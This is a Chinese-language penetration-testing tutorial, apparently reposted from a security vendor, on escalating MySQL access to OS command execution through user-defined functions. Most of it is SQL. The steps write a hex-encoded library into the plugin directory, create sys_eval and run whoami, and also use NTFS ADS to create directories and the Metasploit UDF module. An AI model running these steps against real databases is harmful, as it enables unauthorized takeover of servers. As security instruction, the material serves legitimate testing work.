渗透实战 | MySQL命令执行(UDF命令执行)
Posted 天磊卫士安全服务
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透实战 | MySQL命令执行(UDF命令执行)相关的知识,希望对你有一定的参考价值。
一、前言
当拿一台mysql数据库或者mysql的SQL注入时,会涉及到mysql的命令执行问题,这时候就需要UDF提权去实现
前提条件:
(1)当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:windows 或者 c:windowssystem32 目录下。
(2)当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xxlibplugin 目录下 (libplugin目录默认不存在,需自行创建)。
二、判断当前库是否可以提权
2.1查看 secure_file_priv 的值
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限
指令:
show global variables like 'secure%';
(1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
●如果 secure_file_priv 为NULL是不能写入导出文件和文件夹的。
(2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
●如果 secure_file_priv没有具体的值,则可以写入导出文件。
(3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
我们先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤。
●secure_file_priv 的值在MySQL数据库的安装目录的 my.ini 文件中配置。
2.2查看plugin的值
select Host,user,plugin from mysql.user where user=substring_index(user(),'@',1);
(1)当 plugin 的值为空时不可提权
(2)当 plugin 值为 mysql_native_password 时可通过账户连接提权
2.3查看系统架构以及plugin目录
(1)show variables like '%compile%'; #查看主机版本及架构
(2)show variables like 'plugin%'; #查看 plugin 目录
当MySQL大于5.1时,默认是没有 libplugin 目录的。
在MSF中有windows系统使用的.dll和linux系统使用的.so文件,可以用DllToShellCode反编译文件拿到UDF的源码。
三、UDF提权步骤
创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。
3.1 举例:LINUX(64位)UDF提权步骤
create table t_tmp(data longblob);
insert into t_tmp values("");
update t_tmp set data=concat('',0x7f(这里太长了,大家自己反编译)0000);
select data from t_tmp into dumpfile "/usr/local/mysql/lib/plugin/lib_mysqludf_sys.so";
create function sys_eval returns string soname 'lib_mysqludf_sys.so'; #创建函数sys_eval
执行完上面的语句就可以得到下图的结果
最后就是命令执行了。
3.2可以尝试利用下面的方法创建libplugin
版本范围:5.1.60、5.5.29(5.7、8.0不行)
利用NTFS ADS流来创建plugin文件夹的方法:
(1)0select @@basedir; //查找mysql的目录
(2)select 'It is dll'into dumpfile 'D:\phpstudy_pro\Extensions\MySQL5.1.60\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
(3)select 'It is dll'into dumpfile 'D:\phpstudy_pro\Extensions\MySQL5.1.60\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
举例1:版本5.1.60
虽然会报错,但是打开文件夹会发现确实新建了目录。
举例2:5.7、8.0不能新建:
3.3一些常见执行问题
执行select data from temp into dumpfile "G:\phpstudy_pro\Extensions \MySQL5.7.26\lib\plugin\udf.dll"; 时有可能会出现以下错误,因为当MySQL大于5.1时,默认是没有 libplugin 目录的。而 into dumpfile在写入文件时也不能创建文件夹,所以也就报错了:Can't create/write to file
而在执行 create function sys_eval returns string soname 'udf.dll'; 命令时出现 1126 - Can't open shared library 'udf.dll'的错误。
要注意操作系统是x64还是x86。
四、使用MSF进行UDF提权
使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入libplugin目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
select * from mysql.func where name = "sys_exec";
手动使用该 dll 文件创建sys_eval()函数,来执行有命令的回显。
create function sys_eval returns string soname "XJhSEGuE.dll";
select sys_eval("whoami");
天磊卫士|专注网络安全服务
官网:https://www.uguardsec.com
分支机构:深圳、海口、北京、青岛、汕尾
漏洞扫描|整改加固|渗透测试|APP安全评估|安全运维
系统入网|上线安全评估|代码审计|应急响应|应急演练
以上是关于渗透实战 | MySQL命令执行(UDF命令执行)的主要内容,如果未能解决你的问题,请参考以下文章
MySQL UDF 插件无法执行 Shell 命令(使用 system() 或 execl())